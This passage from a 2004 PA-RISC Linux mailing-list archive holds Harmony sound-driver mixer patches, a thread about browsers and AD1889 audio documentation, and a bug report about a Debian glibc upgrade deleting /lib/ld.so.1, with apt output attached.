 	else 
-		harmony.current_gain &= ~GAIN_SE_MASK;
+		harmony.current_gain &= ~GAIN_HE_MASK;
 	
 	harmony_mixer_set_gain();
 
-	return (outmask & (SOUND_MASK_PHONEOUT | SOUND_MASK_LINE | SOUND_MASK_SPEAKER));
+	return (outmask & (MASK_INTERNAL | MASK_LINEOUT | MASK_HEADPHONES));
 }
 
 /*
@@ -1069,19 +1077,19 @@
 		ret = SOUND_CAP_EXCL_INPUT;
 		break;
 	case MIXER_READ(SOUND_MIXER_STEREODEVS):
-		ret = SOUND_MASK_IGAIN | SOUND_MASK_OGAIN;
+		ret = SOUND_MASK_VOLUME | SOUND_MASK_IGAIN;
 		break;
 		
 	case MIXER_READ(SOUND_MIXER_RECMASK):
 		ret = SOUND_MASK_MIC | SOUND_MASK_LINE;
 		break;
 	case MIXER_READ(SOUND_MIXER_DEVMASK):
-		ret = SOUND_MASK_OGAIN | SOUND_MASK_IGAIN |
-			SOUND_MASK_VOLUME;
+		ret = SOUND_MASK_VOLUME | SOUND_MASK_IGAIN |
+			SOUND_MASK_MONITOR;
 		break;
 	case MIXER_READ(SOUND_MIXER_OUTMASK):
-		ret = SOUND_MASK_SPEAKER | SOUND_MASK_LINE |
-			SOUND_MASK_PHONEOUT;
+		ret = MASK_INTERNAL | MASK_LINEOUT |
+			MASK_HEADPHONES;
 		break;
 		
 	case MIXER_WRITE(SOUND_MIXER_RECSRC):
@@ -1098,15 +1106,15 @@
 		ret = harmony_mixer_get_outmask();
 		break;
 	
-	case MIXER_WRITE(SOUND_MIXER_OGAIN):
-	case MIXER_WRITE(SOUND_MIXER_IGAIN):
 	case MIXER_WRITE(SOUND_MIXER_VOLUME):
+	case MIXER_WRITE(SOUND_MIXER_IGAIN):
+	case MIXER_WRITE(SOUND_MIXER_MONITOR):
 		ret = harmony_mixer_set_level(cmd & 0xff, val);
 		break;
 
-	case MIXER_READ(SOUND_MIXER_OGAIN):
-	case MIXER_READ(SOUND_MIXER_IGAIN):
 	case MIXER_READ(SOUND_MIXER_VOLUME):
+	case MIXER_READ(SOUND_MIXER_IGAIN):
+	case MIXER_READ(SOUND_MIXER_MONITOR):
 		ret = harmony_mixer_get_level(cmd & 0xff);
 		break;
 

--n8g4imXOkfNTN/H1
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--n8g4imXOkfNTN/H1--



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony - improved recording source toggling
Date: Thu, 27 May 2004 23:02:23 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20040527220223.GA2653@calypso>
References: <20040527150933.GB612@calypso>
	<20040527151731.633A93658BE@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="d6Gm4EdcadzBjdND"
X-Trace: ger.gmane.org 1416623460 9523 80.91.229.3 (22 Nov 2014 02:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1309 invoked by uid 65534); 27 May 2004 22:12:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 28 May 2004 00:12:22 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C54F3BE16; Thu, 27 May 2004 16:12:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta09-svc.ntlworld.com (mta09-svc.ntlworld.com [62.253.162.49])
	by free.linux.hp.com (Postfix) with ESMTP id 481B63BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 May 2004 16:11:59 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta09-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040527220255.IJME20971.mta09-svc.ntlworld.com@calypso>;
	Thu, 27 May 2004 23:02:55 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BTSxD-0000ij-00; Thu, 27 May 2004 23:02:23 +0100
Mail-Followup-To: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040527151731.633A93658BE@mail.esiee.fr>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21681


--d6Gm4EdcadzBjdND
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

This patch improves toggling of the recording source between the MIC and
LINE channels.  It does not depend on the channel names patch.

Cheers,
-- 
Stuart Brady

--d6Gm4EdcadzBjdND
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="harmony-mixer-recmask.diff"

--- drivers/sound/harmony.c.orig	2004-05-25 23:21:52.000000000 +0100
+++ drivers/sound/harmony.c	2004-05-27 21:44:18.000000000 +0100
@@ -981,11 +981,15 @@
 {
 	int new_input_line;
 	int new_input_mask;

From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] no login with 2.6 kernel and Mozilla probs on 712/60
Date: Fri, 28 May 2004 03:58:17 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20040528025817.GA9414__46483.6731822745$1416623461$gmane$org@sal.ucc.ie>
References: <BAY1-F152EPPqq6YgsN00032cd2@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623461 9525 80.91.229.3 (22 Nov 2014 02:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:01 +0000 (UTC)
Cc: carlos@baldric.uwo.ca,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Kenneth Westelinck <kennywest1@hotmail.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32024 invoked by uid 65534); 28 May 2004 03:21:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx008) with SMTP; 28 May 2004 05:21:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 2745EE936; Thu, 27 May 2004 22:21:27 -0500 (CDT)
Old-Return-Path: <xam@cs.ucc.ie>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by murphy.debian.org (Postfix) with ESMTP id 62709E928
	for <debian-hppa@lists.debian.org>; Thu, 27 May 2004 22:04:40 -0500 (CDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i4S2wIEJ020345;
	Fri, 28 May 2004 03:58:18 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BTXZZ-0002SD-GU; Fri, 28 May 2004 03:58:17 +0100
Mail-Followup-To: Kenneth Westelinck <kennywest1@hotmail.com>,
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <BAY1-F152EPPqq6YgsN00032cd2@hotmail.com>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_27_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_05_27_01
Resent-Message-ID: <H4Eve.A.xpG.2ArtAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3643
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 27 May 2004 22:21:27 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21682

On Thu, May 27, 2004 at 07:45:26PM +0000, Kenneth Westelinck wrote:

> Strange. Galeon used to work a while ago (and as far as I understand, 
> Galeon is based on some Mozilla libraries). But after doing an apt-get 
> upgrade (I think this was a year ago or something) all of the sudden it 
> stopped working :( The main reason why I want to use my 712 is surfing and 
> reading mail. And dillo is not an option ;)

Well, at least you can use konqueror (although I prefer mozilla/
firebird myself). Also amaya works, however I don't consider
it as a browser (in that respect it is a PITA), but more as
a validator.

Konqueror is starting up slow (on my C3k running Debian/testing),
but after it loaded all libraries and started all neccessary
KDE daemons (most notably knotify, which takes ages to start),
it's more than usable.

Greetings,
   Max


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ad1889 driver/docs for c3k/j5k audio
Date: Sat, 29 May 2004 01:06:35 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20040529000635.GA2966@calypso>
References: <20040222092057.GA2590@calypso>
	<20040222162544.GA9367@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623461 9764 80.91.229.3 (22 Nov 2014 02:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21355 invoked by uid 65534); 29 May 2004 00:06:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 29 May 2004 02:06:45 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57A3D3BE28; Fri, 28 May 2004 18:06:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta10-svc.ntlworld.com (mta10-svc.ntlworld.com [62.253.162.94])
	by free.linux.hp.com (Postfix) with ESMTP id 97F6D3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 May 2004 18:06:33 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta10-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040529000536.SFCV13246.mta10-svc.ntlworld.com@calypso>;
	Sat, 29 May 2004 01:05:36 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BTrMx-0000nw-00; Sat, 29 May 2004 01:06:35 +0100
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040222162544.GA9367@colo.lackof.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21683

On Sun, Feb 22, 2004 at 09:25:44AM -0700, Grant Grundler wrote:

> I posted the only documentation we have for ad1889:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016704.html

> If you have patches for ad1889, I'm happy to test (and commit) them for you.

Unfortunately, the documentation you're referring to is no longer there.
Do you still have it?

If so, I don't have a box with an ad1889, but I should be able to make
some small improvements.
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ad1889 driver/docs for c3k/j5k audio
Date: Fri, 28 May 2004 17:25:08 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040529002508.GJ3517@tausq.org>
References: <20040222092057.GA2590@calypso>
	<20040222162544.GA9367@colo.lackof.org>
	<20040529000635.GA2966@calypso>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623461 9819 80.91.229.3 (22 Nov 2014 02:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:01 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19841 invoked by uid 65534); 29 May 2004 00:25:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 29 May 2004 02:25:18 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BCEB43BE2D; Fri, 28 May 2004 18:25:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 4BCF73BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 May 2004 18:25:06 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B8985CD299; Fri, 28 May 2004 17:25:08 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040529000635.GA2966@calypso>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21684

> Unfortunately, the documentation you're referring to is no longer there.
> Do you still have it?

try: ftp://ftp.parisc-linux.org/docs/AD1889.pdf

> If so, I don't have a box with an ad1889, but I should be able to make
> some small improvements.

I think Mort is also looking at this.....

thanks :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc update is broken in testing?
Date: Sat, 29 May 2004 12:49:10 -0600
Lines: 311
Approved: news@gmane.org
Message-ID: <20040529184910.GA11441__31574.8732457452$1416623462$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623462 9824 80.91.229.3 (22 Nov 2014 02:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:02 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12996 invoked by uid 65534); 29 May 2004 18:50:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 29 May 2004 20:50:16 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E24803BE4C; Sat, 29 May 2004 12:49:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6EE843BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 May 2004 12:49:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8771D29809A; Sat, 29 May 2004 12:49:14 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11249-05; Sat, 29 May 2004 12:49:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 64E31298098; Sat, 29 May 2004 12:49:10 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21685

Heads up,
During an update from "dselect", my /lib/ld.so.1 went missing.
It's not clear if this is a kernel bug or a bug with the glibc update.

Verified /lib/ld-2.3.2.so is still present with "echo /lib/ld*".

System is basically useless until I cold install or fix up
the /lib/ld.so.1 symlink. 

dselect/apt-get output appended.

grant

ps. The update is going through a proxy/squid cache to talk to m.k.o.
I usually update several machines at the same time pretty quickly this way.
I do not have a 6MB/s link to m.k.o. :^)

on:~# dselect
Get:1 http://mirrors.kernel.org testing/main Packages [2835kB]
Get:2 http://mirrors.kernel.org testing/main Release [81B]
Get:3 http://mirrors.kernel.org testing/non-free Packages [40.5kB]
Get:4 http://mirrors.kernel.org testing/non-free Release [85B]
Get:5 http://mirrors.kernel.org testing/contrib Packages [49.5kB]
Get:6 http://mirrors.kernel.org testing/contrib Release [84B]
Get:7 http://mirrors.kernel.org testing/main Sources [1162kB]
Get:8 http://mirrors.kernel.org testing/main Release [83B]
Get:9 http://mirrors.kernel.org testing/non-free Sources [25.3kB]
Get:10 http://mirrors.kernel.org testing/non-free Release [87B]
Get:11 http://mirrors.kernel.org testing/contrib Sources [26.8kB]
Get:12 http://mirrors.kernel.org testing/contrib Release [86B]
Fetched 4140kB in 4s (927kB/s)                    
Reading Package Lists... Done
Merging Available information
Replacing available packages info, using /var/cache/apt/available.
Information about 13398 package(s) was updated.
Reading Package Lists... Done
Building Dependency Tree... Done
The following NEW packages will be installed:
  emacs21-bin-common libungif4g vim-common
The following packages will be upgraded:
  adduser apt apt-utils autotools-dev base-files bash bc bind9-host binutils
  bsdmainutils console-common console-data cpp-3.3 cvs cxref dash dbs dc
  debconf debconf-i18n debconf-utils debhelper debianutils dictionaries-common
  distcc dnsutils doc-linux-text dpkg dpkg-dev dselect e2fslibs e2fsprogs
  emacs21 emacs21-common exim fakeroot flex fontconfig g++-3.3 gcc-3.3
  gcc-3.3-base gdb hddtemp ifupdown initrd-tools initscripts intltool-debian
  iptables kernel-package libattr1 libblkid1 libc6 libc6-dev libcap1
  libcomerr2 libconsole libdb3 libdb3-util libdb4.0 libdns11 libdps1
  libfontconfig1 libfontconfig1-dev libgcc1 libice-dev libice6 libisc7
  libkpathsea3 liblwres1 libnewt0.51 libpam-modules libpam-runtime libpam0g
  libpam0g-dev libpng10-0 libpng12-0 libpng12-dev libpng2 libsm-dev libsm6
  libss2 libssl0.9.7 libstdc++5 libstdc++5-3.3-dev libt1-5 libtasn1-0
  libtasn1-2 libtool libuuid1 libwrap0 libx11-6 libx11-dev libxaw7
  libxcursor-dev libxcursor1 libxext-dev libxext6 libxft1 libxi-dev libxi6
  libxmu-dev libxmu6 libxmuu-dev libxmuu1 libxp-dev libxp6 libxpm-dev libxpm4
  libxrandr-dev libxrandr2 libxt-dev libxt6 libxtrap-dev libxtrap6 libxtst-dev
  libxtst6 libxv-dev libxv1 locales login lsof make makedev man-db
  module-init-tools net-tools netbase ntpdate palo passwd pciutils pkg-config
  pm-dev po-debconf portmap ppp pppconfig pppoeconf procps proftpd
  proftpd-common python-newt python2.3 reportbug rsync scsitools sed ssh
  strace sysv-rc sysvinit tar tasksel tcpd tetex-base tetex-bin time ucf vim
  whiptail whois x-dev xbase-clients xfree86-common xlibmesa-gl xlibmesa-glu
  xlibs xlibs-data xlibs-dev xlibs-static-dev xterm zlib1g zlib1g-dev
173 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 108MB of archives.
After unpacking 3528kB of additional disk space will be used.
Do you want to continue? [Y/n] 
Get:1 http://mirrors.kernel.org testing/main base-files 3.0.15 [34.0kB]
Get:2 http://mirrors.kernel.org testing/main bash 2.05b-15 [681kB]
Get:3 http://mirrors.kernel.org testing/main debianutils 2.8.2 [43.5kB]
Get:4 http://mirrors.kernel.org testing/main dpkg 1.10.21 [1256kB]
Get:5 http://mirrors.kernel.org testing/main libc6-dev 2.3.2.ds1-12 [3029kB]
Get:6 http://mirrors.kernel.org testing/main debconf-i18n 1.4.25 [65.4kB]
Get:7 http://mirrors.kernel.org testing/main debconf 1.4.25 [98.1kB]
Get:8 http://mirrors.kernel.org testing/main locales 2.3.2.ds1-12 [3978kB]
Get:9 http://mirrors.kernel.org testing/main libc6 2.3.2.ds1-12 [4353kB]
Get:10 http://mirrors.kernel.org testing/main e2fslibs 1.35-6 [84.9kB]
Get:11 http://mirrors.kernel.org testing/main e2fsprogs 1.35-6 [495kB]
Get:12 http://mirrors.kernel.org testing/main libdb3 3.2.9-19.1 [268kB]
Get:13 http://mirrors.kernel.org testing/main libcap1 1:1.10-14 [10.2kB]
Get:14 http://mirrors.kernel.org testing/main libpam0g-dev 0.76-21 [115kB]
Get:15 http://mirrors.kernel.org testing/main libpam-runtime 0.76-21 [59.0kB]
Get:16 http://mirrors.kernel.org testing/main libpam0g 0.76-21 [78.2kB]
Get:17 http://mirrors.kernel.org testing/main libpam-modules 0.76-21 [173kB]
Get:18 http://mirrors.kernel.org testing/main login 1:4.0.3-28.3 [356kB]
Get:19 http://mirrors.kernel.org testing/main sed 4.0.9-3 [217kB]
Get:20 http://mirrors.kernel.org testing/main sysvinit 2.85-15 [101kB]
Get:21 http://mirrors.kernel.org testing/main tar 1.13.93-4 [514kB]
Get:22 http://mirrors.kernel.org testing/main console-data 2002.12.04dbs-39 [1109kB]
Get:23 http://mirrors.kernel.org testing/main console-common 0.7.42 [77.6kB]
Get:24 http://mirrors.kernel.org testing/main dash 0.4.26 [93.0kB]
Get:25 http://mirrors.kernel.org testing/main ucf 1.06 [33.5kB]
Get:26 http://mirrors.kernel.org testing/main tetex-base 2.0.2-8 [14.3MB]
Get:27 http://mirrors.kernel.org testing/main libgcc1 1:3.3.3-6 [76.8kB]
Get:28 http://mirrors.kernel.org testing/main x-dev 4.3.0.dfsg.1-1 [183kB]
Get:29 http://mirrors.kernel.org testing/main libice-dev 4.3.0.dfsg.1-1 [179kB]
